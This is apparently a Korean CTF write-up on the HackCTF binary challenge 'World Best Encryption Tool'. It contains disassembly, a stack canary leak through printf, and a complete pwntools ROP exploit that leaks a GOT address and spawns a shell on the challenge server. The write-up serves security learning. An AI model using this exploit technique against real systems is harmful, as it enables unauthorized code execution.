CTF_Write_UP/HackCTF

[HackCTF] World Best Encryption Tool

PowerCo3e_LCH 2019. 10. 22. 22:30

시작

안녕하세요 :D

오늘은 전역 D-100일입니다!!! 점점 끝이 보이네요.

이번에 푼 문제는 HackCTF의 마지막 350점짜리 문제에요.

오랜만에 canary leak을 해봤습니다. 시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/28.World_Best# ./World_best_encryption_tool
Your text)
aaaa
Encrypted text)
}}}}�]���c
          ]���cԽT^
Wanna encrypt other text? (Yes/No)
Yes
Your text)
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Encrypted text)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~bbbbbbb�uK=�]
Wanna encrypt other text? (Yes/No)
No
*** stack smashing detected ***: ./World_best_encryption_tool terminated

입력을 주면 얘가 암호화를 하네요. 그런데 끝 부분에 뭔가 leak 된듯 한 데이터가 딸려옵니다.

입력을 많이 주고 No를 입력하자 canary가 뻑났다는 에러가 뜨네요.

메인 함수를 보겠습니다.

   0x000000000040076b <+68>:    lea    rax,[rbp-0x80]
   0x000000000040076f <+72>:    mov    rsi,rax
   0x0000000000400772 <+75>:    lea    rdi,[rip+0x19a]        # 0x400913
   0x0000000000400779 <+82>:    mov    eax,0x0
   0x000000000040077e <+87>:    call   0x400630 <__isoc99_scanf@plt>

rbp-0x80 위치에 scanf()로 입력받는 것을 볼 수 있어요.

   0x0000000000400783 <+92>:    mov    DWORD PTR [rbp-0x88],0x0
   0x000000000040078d <+102>:   jmp    0x4007b4 <main+141>
   0x000000000040078f <+104>:   mov    eax,DWORD PTR [rbp-0x88]
   0x0000000000400795 <+110>:   cdqe
   0x0000000000400797 <+112>:   movzx  eax,BYTE PTR [rbp+rax*1-0x80]
   0x000000000040079c <+117>:   xor    eax,0x1c
   0x000000000040079f <+120>:   mov    edx,eax
   0x00000000004007a1 <+122>:   mov    eax,DWORD PTR [rbp-0x88]
   0x00000000004007a7 <+128>:   cdqe
   0x00000000004007a9 <+130>:   mov    BYTE PTR [rbp+rax*1-0x80],dl
   0x00000000004007ad <+134>:   add    DWORD PTR [rbp-0x88],0x1
   0x00000000004007b4 <+141>:   mov    eax,DWORD PTR [rbp-0x88]
   0x00000000004007ba <+147>:   cmp    eax,0x31
   0x00000000004007bd <+150>:   jbe    0x40078f <main+104>

rbp-0x88을 int형 변수로 놓고, 0x31 값과 비교하며 반복문을 돌립니다. 여기서 암호화가 이루어지는 듯 해요.

   0x00000000004007bf <+152>:   lea    rcx,[rbp-0x80]
   0x00000000004007c3 <+156>:   lea    rax,[rbp-0x40]
   0x00000000004007c7 <+160>:   mov    edx,0x39
   0x00000000004007cc <+165>:   mov    rsi,rcx
   0x00000000004007cf <+168>:   mov    rdi,rax
   0x00000000004007d2 <+171>:   call   0x4005d0 <strncpy@plt>

반복문이 종료된 후 rbp-0x80의 값을 rbp-0x40에 0x39 = 57 bytes 만큼 옮기네요.

이 이후는 rbp-0x40의 값을 printf()로 출력 후

Yes/No와 strcmp()를 하고 Yes일 땐 위로 올라갑니다. No일 땐 canary값 체크 후 프로그램이 종료돼요.

   0x0000000000400868 <+321>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000040086c <+325>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000400875 <+334>:   je     0x40087c <main+341>
   0x0000000000400877 <+336>:   call   0x4005f0 <__stack_chk_fail@plt>
   0x000000000040087c <+341>:   leave
   0x000000000040087d <+342>:   ret

Canary값 체크 루틴입니다. rbp-0x8에 canary를 넣어놨다는 것이 보이네요.

프로그램 자체는 굉장히 간단해요. canary값과 got를 leak할 수 있다면 libc-database를 통해 rop가 가능합니다.

먼저 canary를 뽑아볼게요.

두 가지 방법이 있는데, 하나는 feed me 문제에서 썼었던 브루트 포싱이고 나머지 하나는 printf() 함수를 이용해 NULL을 덮어서 출력에 딸려오게 하는거에요.

gdb-peda$ x/gx $rbp-0x8
0x7ffdcd38c208: 0x2bec7ceb5a7d0500

카나리 값은 다음과 같이 첫 바이트가 NULL이에요. 때문에 여기를 덮어주면 printf() 함수가 카나리까지 읽어오겠죠?

운이 좋게도 strncpy()는 rbp-0x40에 57 bytes를 복사해요. 때문에 딱 카나리의 첫 바이트까지 덮을 수 있습니다.

p.recvuntil("Your text)\n")

payload += "A" * 120

p.sendline(payload)
sleep(0.5)

canary = p.recv(1024)
canary = canary[73:80]

canary = int(canary[::-1].encode("hex"), 16) * 0x100

log.info("Canary = " + str(hex(canary)))

저는 이런 식으로 canary를 따왔어요. 첫 recv() 때 0x79 bytes를 받아오길래 위와 같이 파싱 후, ×0x100을 해서 원본 카나리를 따왔습니다.

[+] Opening connection to ctf.j0n9hyun.xyz on port 3027: Done
[DEBUG] Received 0xa bytes:
    'Your text)'
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Sent 0x79 bytes:
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x77 bytes:
    00000000  45 6e 63 72  79 70 74 65  64 20 74 65  78 74 29 0a  │Encr│ypte│d te│xt)·│
    00000010  5d 5d 5d 5d  5d 5d 5d 5d  5d 5d 5d 5d  5d 5d 5d 5d  │]]]]│]]]]│]]]]│]]]]│
    *
    00000040  5d 5d 41 41  41 41 41 41  41 18 61 5e  b4 4c 55 7f  │]]AA│AAAA│A·a^│·LU·│
    00000050  80 08 40 0a  57 61 6e 6e  61 20 65 6e  63 72 79 70  │··@·│Wann│a en│cryp│
    00000060  74 20 6f 74  68 65 72 20  74 65 78 74  3f 20 28 59  │t ot│her │text│? (Y│
    00000070  65 73 2f 4e  6f 29 0a                               │es/N│o)·│
    00000077
[*] Canary = 0x7f554cb45e611800

이렇게 leak이 성공해요 ㅎㅎ

이 이후는 쉽습니다. Yes를 줘서 아무 함수의 got값을 leak하고 libc-database를 이용해 offset을 구한 뒤

다시 main으로 돌아와 쉘을 따면 됩니다.

코드에요.

from pwn import *

#context.log_level = "debug"

#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)

payload = ""
scanf_got = 0x601048
pop_rdi = 0x4008e3
pop_rsi_r15 = 0x4008e1
bss = 0x601060
main = 0x400727
puts_plt = 0x4005e0

p.recvuntil("Your text)\n")

payload += "A" * 120

p.sendline(payload)
sleep(0.5)

canary = p.recv(1024)
canary = canary[73:80]

canary = int(canary[::-1].encode("hex"), 16) * 0x100

log.info("Canary = " + str(hex(canary)))

p.sendline("Yes")

exploit = ""

exploit += "A" * 56
exploit += "\x00"       # Don't break Canary !!
exploit += "A" * 63
exploit += p64(canary)  # rbp-0x8
exploit += "B" * 8      # SFP

exploit += p64(pop_rdi)
exploit += p64(scanf_got)
exploit += p64(pop_rsi_r15)
exploit += p64(0)
exploit += p64(0)
exploit += p64(puts_plt)
exploit += p64(main)

p.recvuntil("Your text)\n")
p.sendline(exploit)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")

p.sendline("No")
sleep(0.5)

scanf_addr = p.recv(1024)
scanf_addr = scanf_addr[:6]
scanf_addr = int(scanf_addr[::-1].encode("hex"), 16)

log.info("scanf_addr = " + str(hex(scanf_addr)))

system_addr = scanf_addr - 0x26140
binsh_addr = scanf_addr + 0x121887

pay = ""

pay += "A" * 56
pay += "\x00"
pay += "A" * 63
pay += p64(canary)
pay += "B" * 8
pay += p64(pop_rdi)
pay += p64(binsh_addr)
pay += p64(system_addr)

p.sendline(pay)
sleep(0.5)

p.recvuntil("Wanna encrypt other text? (Yes/No)\n")

p.sendline("No")
sleep(0.5)

p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3027: Done
[*] Canary = 0xb5602e49b276c100
[*] scanf_addr = 0x7f264d7444d0
[*] Switching to interactive mode
$ cat flag
// flag!!!

Exploit!!

마무리

사실 이 문제 풀 때 printf_got를 leak하려고 했는데 로컬에선 되는게 서버에선 안 되는 거에요…..

왜 leak이 안 되는건지 이유를 몰라서 답답했는데 scanf_got로 바꾸니깐 바로 풀렸습니다.. 허무..

재밌는 문제 풀었습니다!! 감사합니다 :D